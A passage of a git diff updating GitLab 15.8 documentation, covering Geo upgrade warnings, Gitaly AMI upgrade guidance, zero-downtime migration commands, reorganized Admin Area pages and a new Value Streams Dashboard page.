2.38.0 and later is required by Gitaly. For installations from source, you should use the [Git version provided by Gitaly](../install/installation.md#git). + +### 15.7.2 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + +### 15.7.1 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + ### 15.7.0 - This version validates a `NOT NULL DB` constraint on the `issues.work_item_type_id` column. @@ -312,6 +324,23 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap Sites that have configured `max_concurrency` will not be affected by this change. [Read more about the Sidekiq concurrency setting](../administration/sidekiq/extra_sidekiq_processes.md#concurrency). +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + +### 15.6.4 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + +### 15.6.3 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + +### 15.6.2 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. + +### 15.6.1 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. ### 15.6.0 @@ -331,6 +360,7 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap This issue was [fixed in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105375) and backported to GitLab 15.6.2. The issue can also be worked around: [read about how to create these indexes](https://gitlab.com/gitlab-org/gitlab/-/issues/378343#note_1199863087). +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. ### 15.5.0 @@ -764,7 +794,7 @@ for how to proceed. gitlab-psql`): ```sql - select status, count(*) from background_migration_jobs + select status, count(*) from background_migration_jobs where class_name = 'MigrateMergeRequestDiffCommitUsers' group by status; ``` diff --git a/doc/update/with_downtime.md b/doc/update/with_downtime.md index 2ad928927a4..9145003eff4 100644 --- a/doc/update/with_downtime.md +++ b/doc/update/with_downtime.md @@ -68,13 +68,17 @@ following principles when upgrading those servers: If you're running Gitaly cluster, follow the [zero downtime process](zero_downtime.md#gitaly-or-gitaly-cluster) for Gitaly cluster. -If you are using Amazon Machine Images (AMIs) on AWS, the Gitaly nodes -**should not be upgraded via the AMI process**. Gitaly nodes should **only** -be upgraded using the package upgrade because: - -- Praefect tracks replicas of Git repositories by server hostname. -- Redeployment using AMIs issues the nodes with new hostnames. -- Even though the storage is the same, Gitaly cluster does not work after this. +If you are using Amazon Machine Images (AMIs) on AWS, you can either upgrade the Gitaly nodes +through the AMI process, or upgrade the package itself: + +- If you're using the + [Elastic network interfaces (ENI)](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-eni.html), + you can upgrade through the AMI process. With ENI, you can keep the private DNS names + through AMI instance changes, something that is crucial for Gitaly to work. +- If you're **not** using ENI, you must upgrade Gitaly using the GitLab package. + This is because Gitaly Cluster tracks replicas of Git repositories by the server hostname, + and a redeployment using AMIs issues the nodes with new hostnames. Even though + the storage is the same, Gitaly Cluster does not work when the hostnames change. The Praefect nodes, however, can be upgraded via an AMI redeployment process: diff --git a/doc/update/zero_downtime.md b/doc/update/zero_downtime.md index deda12145da..a849033c3e5 100644 --- a/doc/update/zero_downtime.md +++ b/doc/update/zero_downtime.md @@ -456,7 +456,13 @@ Log in to your **primary** node, executing the following: 1. To get the database migrations and latest code in place, run: ```shell - sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-ctl reconfigure + sudo gitlab-ctl reconfigure + ``` + +1. After the node is updated and reconfigure finished successfully, complete the migrations: + + ```shell + sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-rake db:migrate ``` ### Update the Geo secondary site @@ -486,7 +492,7 @@ On each **secondary** node, executing the following: 1. To get the database migrations and latest code in place, run: ```shell - sudo SKIP_POST_DEPLOYMENT_MIGRATIONS=true gitlab-ctl reconfigure + sudo gitlab-ctl reconfigure ``` 1. Run post-deployment database migrations, specific to the Geo database: diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md index de2856c2320..847f687d051 100644 --- a/doc/user/admin_area/custom_project_templates.md +++ b/doc/user/admin_area/custom_project_templates.md @@ -16,7 +16,7 @@ when you go to **New project > Create from template** and select the **Instance* Every project in the group, but not its subgroups, can be selected when a new project is created, based on the user's access permissions: -- Public projects can be selected by any signed-in user as a template for a new project, +- Public projects can be selected by any authenticated user as a template for a new project, if all enabled [project features](../project/settings/index.md#configure-project-visibility-features-and-permissions) except for **GitLab Pages** and **Security & Compliance** are set to **Everyone With Access**. The same applies to internal projects. diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md index c9b6a077c73..559aae63da5 100644 --- a/doc/user/admin_area/index.md +++ b/doc/user/admin_area/index.md @@ -135,8 +135,7 @@ For each user, the following are listed: 1. Date of account creation 1. Date of last activity -To edit a user, select the **Edit** button in that user's -row. To delete the user, or delete the user and their contributions, select the cog dropdown list in +To edit a user, in the user's row, select **Edit**. To delete the user, or delete the user and their contributions, select the cog dropdown list in that user's row, and select the desired option. To change the sort order: @@ -256,9 +255,7 @@ To access the Groups page: 1. On the left sidebar, select **Overview > Groups**. For each group, the page displays their name, description, size, number of projects in the group, -number of members, and whether the group is private, internal, or public. To edit a group, select -the **Edit** button in that group's row. To delete the group, select the **Delete** button in -that group's row. +number of members, and whether the group is private, internal, or public. To edit a group, in the group's row, select **Edit**. To delete the group, in the group's row, select **Delete**. To change the sort order, select the sort dropdown list and select the desired order. The default sort order is by **Last created**. @@ -300,33 +297,32 @@ The assigned topics are visible only to everyone with access to the project, but everyone can see which topics exist on the GitLab instance. Do not include sensitive information in the name of a topic. -### Administering Jobs +### Administering Gitaly servers -You can administer all jobs in the GitLab instance from the Admin Area's Jobs page. +You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers** +page. For more details, see [Gitaly](../../administration/gitaly/index.md). -To access the Jobs page: +To access the **Gitaly Servers** page: 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Overview > Jobs**. All jobs are listed, in descending order of job ID. -1. Select the **All** tab to list all jobs. Select the **Pending**, **Running**, or **Finished** - tab to list only jobs of that status. +1. On the left sidebar, select **Overview > Gitaly Servers**. -For each job, the following details are listed: +For each Gitaly server, the following details are listed: -| Field | Description | -|----------|-------------| -| Status | Job status, either **passed**, **skipped**, or **failed**. | -| Job | Includes links to the job, branch, and the commit that started the job. | -| Pipeline | Includes a link to the specific pipeline. | -| Project | Name of the project, and organization, to which the job belongs. | -| Runner | Name of the CI runner assigned to execute the job. | -| Stage | Stage that the job is declared in a `.gitlab-ci.yml` file. | -| Name | Name of the job specified in a `.gitlab-ci.yml` file. | -| Timing | Duration of the job, and how long ago the job completed. | -| Coverage | Percentage of tests coverage. | +| Field | Description | +|----------------|-------------| +| Storage | Repository storage | +| Address | Network address on which the Gitaly server is listening | +| Server version | Gitaly version | +| Git version | Version of Git installed on the Gitaly server | +| Up to date | Indicates if the Gitaly server version is the latest version available. A green dot indicates the server is up to date. | + +## CI/CD section ### Administering runners +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/340859) from **Overview > Runners** to **CI/CD > Runners** in GitLab 15.8. + You can administer all runners in the GitLab instance from the Admin Area's **Runners** page. See [GitLab Runner](https://docs.gitlab.com/runner/) for more information. @@ -380,25 +376,32 @@ For each runner, the following attributes are listed: You can also edit, pause, or remove each runner. -### Administering Gitaly servers +### Administering Jobs -You can list all Gitaly servers in the GitLab instance from the Admin Area's **Gitaly Servers** -page. For more details, see [Gitaly](../../administration/gitaly/index.md). +> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/386311) from **Overview > Jobs** to **CI/CD > Jobs** in GitLab 15.8. -To access the **Gitaly Servers** page: +You can administer all jobs in the GitLab instance from the Admin Area's Jobs page. + +To access the Jobs page: 1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Overview > Gitaly Servers**. +1. On the left sidebar, select **CI/CD > Jobs**. All jobs are listed, in descending order of job ID. +1. Select the **All** tab to list all jobs. Select the **Pending**, **Running**, or **Finished** + tab to list only jobs of that status. -For each Gitaly server, the following details are listed: +For each job, the following details are listed: -| Field | Description | -|----------------|-------------| -| Storage | Repository storage | -| Address | Network address on which the Gitaly server is listening | -| Server version | Gitaly version | -| Git version | Version of Git installed on the Gitaly server | -| Up to date | Indicates if the Gitaly server version is the latest version available. A green dot indicates the server is up to date. | +| Field | Description | +|----------|-------------| +| Status | Job status, either **passed**, **skipped**, or **failed**. | +| Job | Includes links to the job, branch, and the commit that started the job. | +| Pipeline | Includes a link to the specific pipeline. | +| Project | Name of the project, and organization, to which the job belongs. | +| Runner | Name of the CI runner assigned to execute the job. | +| Stage | Stage that the job is declared in a `.gitlab-ci.yml` file. | +| Name | Name of the job specified in a `.gitlab-ci.yml` file. | +| Timing | Duration of the job, and how long ago the job completed. | +| Coverage | Percentage of tests coverage. | ## Monitoring section diff --git a/doc/user/admin_area/license_file.md b/doc/user/admin_area/license_file.md index 9c35a8c1269..29e43476819 100644 --- a/doc/user/admin_area/license_file.md +++ b/doc/user/admin_area/license_file.md @@ -75,7 +75,7 @@ and issue creation. Your instance becomes read-only and an expiration message displays to all administrators. You have a 14-day grace period before this occurs. -To resume functionality, [renew your subscription](../../subscriptions/self_managed/index.md#renew-a-subscription). +To resume functionality, [renew your subscription](../../subscriptions/self_managed/index.md#renew-subscription-manually). If the license has been expired for more than 30 days, you must purchase a [new subscription](../../subscriptions/self_managed/index.md) to resume functionality. @@ -187,7 +187,7 @@ License.current.data #### Check if a project feature is available on the instance -Features listed in <https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb>. +Features listed in [`features.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/gitlab_subscriptions/features.rb). ```ruby License.current.feature_available?(:jira_dev_panel_integration) @@ -195,7 +195,7 @@ License.current.feature_available?(:jira_dev_panel_integration) #### Check if a project feature is available in a project -Features listed in [`license.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/license.rb). +Features listed in [`features.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/gitlab_subscriptions/features.rb). ```ruby p = Project.find_by_full_path('<group>/<project>') diff --git a/doc/user/admin_area/moderate_users.md b/doc/user/admin_area/moderate_users.md index c0daf029b1f..3d96eaf793f 100644 --- a/doc/user/admin_area/moderate_users.md +++ b/doc/user/admin_area/moderate_users.md @@ -142,7 +142,7 @@ A deactivated user: - Cannot access Git repositories or the API. - Does not receive any notifications from GitLab. -- Does not be able to use [slash commands](../../integration/slash_commands.md). +- Cannot use [slash commands](../../integration/slash_commands.md). - Does not consume a [seat](../../subscriptions/self_managed/index.md#billable-users). Personal projects, and group and user history of the deactivated user are left intact. @@ -223,7 +223,7 @@ On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ban_user_feature_flag`. On GitLab.com, this feature is available to GitLab.com administrators only. -GitLab administrators can ban and unban users. Banned users are blocked, and their issues are hidden. +GitLab administrators can ban and unban users. Banned users are blocked, and their issues and merge requests are hidden. The banned user's comments are still displayed. Hiding a banned user's comments is [tracked in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/327356). ### Ban a user diff --git a/doc/user/admin_area/reporting/git_abuse_rate_limit.md b/doc/user/admin_area/reporting/git_abuse_rate_limit.md index f700b8b1ea3..66d1173058e 100644 --- a/doc/user/admin_area/reporting/git_abuse_rate_limit.md +++ b/doc/user/admin_area/reporting/git_abuse_rate_limit.md @@ -4,12 +4,12 @@ group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Git abuse rate limit (administration) **(ULTIMATE SELF)** +# Git abuse rate limit (administration) **(ULTIMATE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/8066) in GitLab 15.2 [with a flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. Disabled by default. FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. On GitLab.com, this feature is not available. +On self-managed GitLab, by default this feature is not available. To make it available, ask an administrator to [enable the feature flag](../../../administration/feature_flags.md) named `git_abuse_rate_limit_feature_flag`. On GitLab.com, this feature is available. Git abuse rate limiting is a feature to automatically [ban users](../moderate_users.md#ban-and-unban-users) who download or clone more than a specified number of repositories in any project in the instance within a given time frame. Banned users cannot sign in to the instance and cannot access any non-public group via HTTP or SSH. diff --git a/doc/user/admin_area/settings/account_and_limit_settings.md b/doc/user/admin_area/settings/account_and_limit_settings.md index b235b812416..7f678344955 100644 --- a/doc/user/admin_area/settings/account_and_limit_settings.md +++ b/doc/user/admin_area/settings/account_and_limit_settings.md @@ -102,7 +102,8 @@ to find tokens more quickly, or for use with automation tools. The default prefix is `glpat-` but administrators can change it. -[Project access tokens](../../project/settings/project_access_tokens.md) also inherit this prefix. +[Project access tokens](../../project/settings/project_access_tokens.md) and +[group access tokens](../../group/settings/group_access_tokens.md) also inherit this prefix. ### Set a prefix @@ -291,6 +292,16 @@ By default, new users can create top-level groups. GitLab administrators can pre 1. On the left sidebar, select **Settings > General**, then expand **Account and limit**. 1. Clear the **Allow new users to create top-level groups** checkbox. +## Set profiles of new users to private by default + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/231301) in GitLab 15.8. + +By default, newly created users have a public profile. GitLab administrators can set new users to have a private profile by default: + +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Settings > General**, then expand **Account and limit**. +1. Select the **Make new users' profiles private by default** checkbox. + ## Troubleshooting ### 413 Request Entity Too Large diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md index 81e51aaef37..7c869c9b8fe 100644 --- a/doc/user/admin_area/settings/continuous_integration.md +++ b/doc/user/admin_area/settings/continuous_integration.md @@ -52,7 +52,7 @@ you can assign that runner to other projects. To enable a specific runner for more than one project: 1. On the top bar, select **Main menu > Admin**. -1. From the left sidebar, select **Overview > Runners**. +1. From the left sidebar, select **CI/CD > Runners**. 1. Select the runner you want to edit. 1. In the top right, select **Edit** (**{pencil}**). 1. Under **Restrict projects for this runner**, search for a project. @@ -188,7 +188,7 @@ For the value set for GitLab.com, see [Scheduled job archiving](../../gitlab_com ## Protect CI/CD variables by default To set all new [CI/CD variables](../../../ci/variables/index.md) as -[protected](../../../ci/variables/index.md#protected-cicd-variables) by default: +[protected](../../../ci/variables/index.md#protect-a-cicd-variable) by default: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > CI/CD**. diff --git a/doc/user/admin_area/settings/help_page.md b/doc/user/admin_area/settings/help_page.md index 8d0fef398af..07d3ae83d74 100644 --- a/doc/user/admin_area/settings/help_page.md +++ b/doc/user/admin_area/settings/help_page.md @@ -27,7 +27,7 @@ You can now see the message on `/help`. NOTE: By default, `/help` is visible to unauthenticated users. However, if the [**Public** visibility level](visibility_and_access_controls.md#restrict-visibility-levels) -is restricted, `/help` is visible only to signed-in users. +is restricted, `/help` is visible only to authenticated users. ## Add a help message to the sign-in page diff --git a/doc/user/admin_area/settings/instance_template_repository.md b/doc/user/admin_area/settings/instance_template_repository.md index bf07c5b2808..026782ae83b 100644 --- a/doc/user/admin_area/settings/instance_template_repository.md +++ b/doc/user/admin_area/settings/instance_template_repository.md @@ -13,7 +13,7 @@ type: reference In hosted systems, enterprises often have a need to share their own templates across teams. This feature allows an administrator to pick a project to be the instance-wide collection of file templates. These templates are then exposed to -all users [via the web editor](../../project/repository/web_editor.md#template-dropdowns) +all users through the [Web Editor](../../project/repository/web_editor.md) while the project remains secure. ## Configuration @@ -28,7 +28,7 @@ To select a project to serve as the custom template repository: 1. Add custom templates to the selected repository. After you add templates, you can use them for the entire instance. -They are available in the [Web Editor's dropdown list](../../project/repository/web_editor.md#template-dropdowns) +They are available in the [Web Editor](../../project/repository/web_editor.md) and through the [API settings](../../../api/settings.md). ## Supported file types and locations diff --git a/doc/user/admin_area/settings/sign_in_restrictions.md b/doc/user/admin_area/settings/sign_in_restrictions.md index 6ec3d082114..d663238a88c 100644 --- a/doc/user/admin_area/settings/sign_in_restrictions.md +++ b/doc/user/admin_area/settings/sign_in_restrictions.md @@ -68,7 +68,7 @@ For more information, see the [list of settings that can be accessed through API Open the [Rails console](../../../administration/operations/rails_console.md) and run the following: ```ruby -::Gitlab::CurrentSettings.update!(admin_mode true) +::Gitlab::CurrentSettings.update!(admin_mode: true) ``` #### Use the UI to enable Admin Mode @@ -115,6 +115,9 @@ authentication steps. We may address these limitations in the future. For more information see the following epic: [Admin Mode for GitLab Administrators](https://gitlab.com/groups/gitlab-org/-/epics/2158). +Also, when GitLab Geo is enabled, you can't view the replication status of projects and designs while +on a secondary node. A fix is proposed when projects ([issue 367926](https://gitlab.com/gitlab-org/gitlab/-/issues/367926)) and designs ([issue 355660](https://gitlab.com/gitlab-org/gitlab/-/issues/355660)) move to the new Geo framework. + ### Troubleshooting Admin Mode If necessary, you can disable **Admin Mode** as an administrator by using one of these two methods: diff --git a/doc/user/admin_area/settings/terms.md b/doc/user/admin_area/settings/terms.md index 9a02e50b23f..85927bad8ad 100644 --- a/doc/user/admin_area/settings/terms.md +++ b/doc/user/admin_area/settings/terms.md @@ -29,7 +29,7 @@ For each update to the terms, a new version is stored. When a user accepts or de GitLab records which version they accepted or declined. Existing users must accept the terms on their next GitLab interaction. -If a signed-in user declines the terms, they are signed out. +If an authenticated user declines the terms, they are signed out. When enabled, it adds a mandatory checkbox to the sign up page for new users: diff --git a/doc/user/admin_area/settings/third_party_offers.md b/doc/user/admin_area/settings/third_party_offers.md index 8d2ae72ba69..4f6e727f673 100644 --- a/doc/user/admin_area/settings/third_party_offers.md +++ b/doc/user/admin_area/settings/third_party_offers.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments type: reference --- diff --git a/doc/user/admin_area/settings/usage_statistics.md b/doc/user/admin_area/settings/usage_statistics.md index df60268a8bf..8b9f09d9df5 100644 --- a/doc/user/admin_area/settings/usage_statistics.md +++ b/doc/user/admin_area/settings/usage_statistics.md @@ -48,7 +48,7 @@ tier. Users can continue to access the features in a paid tier without sharing u ### Features available in 14.4 and later - [Repository size limit](../settings/account_and_limit_settings.md#repository-size-limit). -- [Group access restriction by IP address](../../group/access_and_permissions.md#restrict-access-to-groups-by-ip-address). +- [Group access restriction by IP address](../../group/access_and_permissions.md#restrict-group-access-by-ip-address). NOTE: Registration is not yet required for participation, but may be added in a future milestone. @@ -67,7 +67,7 @@ Registration is not yet required for participation, but may be added in a future If enabled, version check informs you if a new version is available and the importance of it through a status. The status displays on the help pages (`/help`) -for all signed-in users, and on the Admin Area pages. The statuses are: +for all authenticated users, and on the Admin Area pages. The statuses are: - Green: You are running the latest version of GitLab. - Orange: An updated version of GitLab is available. diff --git a/doc/user/admin_area/settings/visibility_and_access_controls.md b/doc/user/admin_area/settings/visibility_and_access_controls.md index 4da0f5da3f4..5ca942a42bb 100644 --- a/doc/user/admin_area/settings/visibility_and_access_controls.md +++ b/doc/user/admin_area/settings/visibility_and_access_controls.md @@ -118,7 +118,7 @@ To set the default [visibility levels for new projects](../../public_access.md): 1. Select the desired default project visibility: - **Private** - Project access must be granted explicitly to each user. If this project is part of a group, access is granted to members of the group. - - **Internal** - The project can be accessed by any logged in user except external users. + - **Internal** - The project can be accessed by any authenticated user except external users. - **Public** - The project can be accessed without any authentication. 1. Select **Save changes**. @@ -146,7 +146,7 @@ To set the default visibility levels for new groups: 1. Expand the **Visibility and access controls** section. 1. Select the desired default group visibility: - **Private** - The group and its projects can only be viewed by members. - - **Internal** - The group and any internal projects can be viewed by any logged in user except external users. + - **Internal** - The group and any internal projects can be viewed by any authenticated user except external users. - **Public** - The group and any public projects can be viewed without any authentication. 1. Select **Save changes**. @@ -163,7 +163,7 @@ To restrict visibility levels for projects, snippets, and selected pages: 1. Expand the **Visibility and access controls** section. 1. In the **Restricted visibility levels** section, select the desired visibility levels to restrict. If you restrict the **Public** level: - - User profiles are only visible to logged in users via the Web interface. + - User profiles are only visible to authenticated users via the Web interface. - User attributes via the GraphQL API are: - Not visible in [GitLab 15.1 and later](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/88020). - Only visible to authenticated users between [GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33195) and GitLab 15.0. @@ -192,7 +192,25 @@ To enable the export of 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > General**. 1. Expand the **Visibility and access controls** section. -1. Select **Project export enabled**. +1. Scroll to **Project export**. +1. Select the **Enabled** checkbox. +1. Select **Save changes**. + +## Enable migration of groups and projects by direct transfer + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/383268) in GitLab 15.8. + +You can enable migration of groups by direct transfer. To also migrate projects with the groups, you must enable the +[`bulk_import_projects` feature flag](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). + +To enable migration of groups by direct transfer: + +1. Sign in to GitLab as a user with Administrator access level. +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Settings > General**. +1. Expand the **Visibility and access controls** section. +1. Scroll to **Allow migrating GitLab groups and projects by direct transfer**. +1. Select the **Enabled** checkbox. 1. Select **Save changes**. ## Configure enabled Git access protocols @@ -280,7 +298,7 @@ work in every repository. They can only be re-enabled by an administrator user o > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87579) in GitLab 15.1 [with a flag](../../../administration/feature_flags.md) named `group_ip_restrictions_allow_global`. Disabled by default. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/366445) in GitLab 15.4. [Feature flag `group_ip_restrictions_allow_global`](https://gitlab.com/gitlab-org/gitlab/-/issues/366445) removed. -Administrators can set IP address ranges to be combined with [group-level IP restrictions](../../group/access_and_permissions.md#restrict-access-to-groups-by-ip-address). +Administrators can set IP address ranges to be combined with [group-level IP restrictions](../../group/access_and_permissions.md#restrict-group-access-by-ip-address). Use globally-allowed IP addresses to allow aspects of the GitLab installation to work even when group-level IP address restrictions are set. diff --git a/doc/user/analytics/dora_metrics.md b/doc/user/analytics/dora_metrics.md index fba0d0e98ff..9ac949f05b4 100644 --- a/doc/user/analytics/dora_metrics.md +++ b/doc/user/analytics/dora_metrics.md @@ -24,7 +24,7 @@ For software leaders, tracking velocity alongside quality metrics ensures they'r For an overview, see <a href="https://www.youtube.com/watch?v=1BrcMV6rCDw">GitLab Speed Run: DORA metrics in GitLab One DevOps Platform</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/1BrcMV6rCDw" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/1BrcMV6rCDw" frameborder="0" allowfullscreen> </iframe> </figure> ## DORA Metrics dashboard in Value Stream Analytics diff --git a/doc/user/analytics/img/devops_metrics_comparison_v15_8.png b/doc/user/analytics/img/devops_metrics_comparison_v15_8.png Binary files differnew file mode 100644 index 00000000000..3a52d9e0781 --- /dev/null +++ b/doc/user/analytics/img/devops_metrics_comparison_v15_8.png diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md index 38d92180c7d..774063810f3 100644 --- a/doc/user/analytics/index.md +++ b/doc/user/analytics/index.md @@ -51,6 +51,14 @@ The following analytics features are available for users to create personalized Be sure to review the documentation page for this feature for GitLab tier requirements. +## Value streams management + +You can use the following analytics features to analyze and visualize the performance of your projects and groups: + +- [Value stream analytics for projects](value_stream_analytics.md) +- [Value stream analytics for groups](../group/value_stream_analytics/index.md) +- [Value streams dashboard](value_streams_dashboard.md) + ## Definitions We use the following terms to describe GitLab analytics: diff --git a/doc/user/analytics/value_streams_dashboard.md b/doc/user/analytics/value_streams_dashboard.md new file mode 100644 index 00000000000..1de26749deb --- /dev/null +++ b/doc/user/analytics/value_streams_dashboard.md @@ -0,0 +1,61 @@ +--- +stage: Plan +group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Value Streams Dashboard **(PREMIUM)** + +> Introduced in GitLab 15.8 as a Closed [Beta](../../policy/alpha-beta-support.md#beta-features) feature. + +You can leave feedback on dashboard bugs or functionality in [issue 381787](https://gitlab.com/gitlab-org/gitlab/-/issues/381787). + +This feature is not ready for production use. + +The Value Streams Dashboard is a customizable dashboard to enable decision-makers to identify trends, patterns, and opportunities for digital transformation improvements. +This page is a work in progress, and we're updating the information as we add more features. +For more information, see the [Value Stream Management category direction page](https://about.gitlab.com/direction/plan/value_stream_management/). + +## Initial use case + +Our initial use case is focused on providing the ability to compare software delivery metrics. +This comparison can help decision-makers understand whether projects and groups are improving. + +The beta version of the Value Streams Dashboard includes the following metrics: + +- [DORA metrics](dora_metrics.md) +- [Value Stream Analytics (VSA) - flow metrics](value_stream_analytics.md) + +The Value Streams Dashboard allows you to: + +- Aggregate data records from different APIs. +- Track software performance (DORA) and flow of value (VSA) across the organization. + +## DevOps metrics comparison + +The DevOps metrics comparison displays DORA4 and flow metrics for a group or project in the +month-to-date, last month, the month before, and the past 180 days. + +This visualization helps you get a high-level custom view over multiple DevOps metrics and +understand whether they're improving month over month. You can compare the performance between +groups, projects, and teams at a glance. This visualization helps you identify the teams and projects +that are the largest value contributors, overperforming, or underperforming. + + + +You can also drill down the metrics for further analysis. +When you hover over a metric, a tooltip displays an explanation of the metric and a link to the related documentation page. + +## Customize the dashboard widgets + +You can customize the Value Streams Dashboard and configure what subgroups and projects to include in the page. + +A view can display maximum four subgroups or projects. + +To display multiple subgroups and projects, specify their path as a URL parameter. + +For example, the parameter `query=gitlab-org/gitlab-foss,gitlab-org/gitlab,gitlab-org/gitlab-design,gitlab-org/gitlab-docs` displays three separate widgets, one each for the: + +- `gitlab-org` group +- `gitlab-ui` project +- `gitlab-org/plan-stage` subgroup diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index e4ca512bdc6..31322419902 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -917,7 +917,7 @@ provide a script that performs an authentication flow or calculates the token. is an authentication method built into the HTTP protocol and used in conjunction with [transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security). -We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) +We recommended that you [create a CI/CD variable](../../../ci/variables/index.md#for-a-project) for the password (for example, `TEST_API_PASSWORD`), and set it to be masked. You can create CI/CD variables from the GitLab project's page at **Settings > 